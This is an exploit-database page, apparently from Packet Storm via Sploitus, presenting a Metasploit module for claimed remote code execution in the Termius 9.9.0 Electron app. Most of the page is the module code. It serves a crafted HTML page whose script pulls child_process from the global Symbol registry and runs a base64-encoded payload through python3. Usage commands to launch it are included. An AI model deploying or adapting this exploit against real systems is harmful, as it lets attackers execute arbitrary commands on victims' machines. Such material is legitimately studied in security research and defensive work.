## https://sploitus.com/exploit?id=PACKETSTORM:216019
=============================================================================================================================================
| # Title : Termius 9.9.0 Remote Code Execution |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) |
| # Vendor : https://termius.com |
=============================================================================================================================================
[+] Summary : This Metasploit module demonstrates a Remote Code Execution (RCE) vulnerability in the Termius Electron application caused by an exposed symbol in the global JavaScript Symbol Registry.
By accessing a shared Symbol.for() key that unintentionally references preloaded Node.js modules,
attacker-controlled JavaScript executed within the Electron renderer context can gain access to child_process and execute arbitrary system commands.
The issue stems from improper Electron security configuration, including broken context isolation and unsafe exposure of Node.js internals to the browser environment.
This vulnerability allows full command execution with user-level privileges by simply loading a crafted HTML page inside the affected Electron application.
[+] Usage :
use exploit/multi/browser/termius_symbol_rce
set COMMAND 'whoami > /tmp/pwned'
run
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Termius Exposed Symbol Remote Code Execution',
'Description' => %q{
This module exploits a vulnerability where a Node.js 'child_process'
object is exposed via the Global Symbol Registry.
As it is a technical reference, the Symbol acts as a bridge;
allows an attacker to execute arbitrary system commands
within the context of the application.
},
'License' => MSF_LICENSE,
'Author' => [ 'indoushka' ],
'Platform' => %w[win osx linux],
'Targets' => [
[ 'Universal Payload', { } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2025-12-25'
))
end
def on_request_uri(cli, request)
p = payload.encoded
cmd = "python3 -c \"import os,base64;os.system(base64.b64decode('#{Rex::Text.encode_base64(p)}'))\""
js_exploit = <<-JS
try {
const key = Symbol.for("preloadedModulesKey");
const proc = window[key];
if (proc && proc.child_process) {
proc.child_process.exec("#{cmd.gsub('"', '\"')}");
console.log("[+] Exploit triggered successfully");
}
} catch (e) {
console.error("Exploit failed: " + e);
}
JS
print_status("Sending exploit to #{cli.peerhost}...")
html = <<-HTML
<html>
<body>
<script>
#{js_exploit}
</script>
</body>
</html>
HTML
send_response(cli, html, { 'Content-Type' => 'text/html' })
end
end
Greetings to :============================================================
jericho * Larry W. Cashdollar * r00t * Malvuln (John Page aka hyp3rlinx)*|
==========================================================================